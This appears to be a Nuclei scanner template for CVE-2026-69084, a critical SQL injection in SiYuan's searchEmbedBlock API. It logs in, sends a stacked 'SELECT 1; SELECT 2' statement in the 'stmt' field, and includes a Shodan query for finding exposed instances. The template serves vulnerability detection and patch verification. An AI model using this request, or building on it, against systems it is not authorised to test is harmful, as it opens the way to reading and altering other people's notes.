CVE-2026-69084: SiYuan - SQL Execution

id: CVE-2026-69084

info:
  name: SiYuan - SQL Execution
  author: Boreas37
  severity: critical
  description: |
    SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
  impact: |
    Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to version v3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
    - https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69084
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69084
    epss-score: 0.01573
    epss-percentile: 0.74656
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: 'title:"SiYuan"'
  tags: cve,cve2026,siyuan,sqli,authenticated

variables:
  auth_code: "{{password}}"

http:
  - raw:
      - |
        POST /api/system/loginAuth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"authCode":"{{auth_code}}"}

      - |
        POST /api/search/searchEmbedBlock HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"embedBlockID":"20210808180117-6v0mkxr","stmt":"SELECT 1; SELECT 2","excludeIDs":[],"headingMode":0,"breadcrumb":false}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'

      - type: word
        part: body
        words:
          - 'SQL statement is not single'
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a00473045022020d52b155c2d8b0d2651685fea7a6fcada34cc96ccf3137363977036cff56383022100c370d2860737570a534754a916a216a67dd477c62492155eeb83674f4a78aa79:922c64590222798bb761d5b6d8e72950

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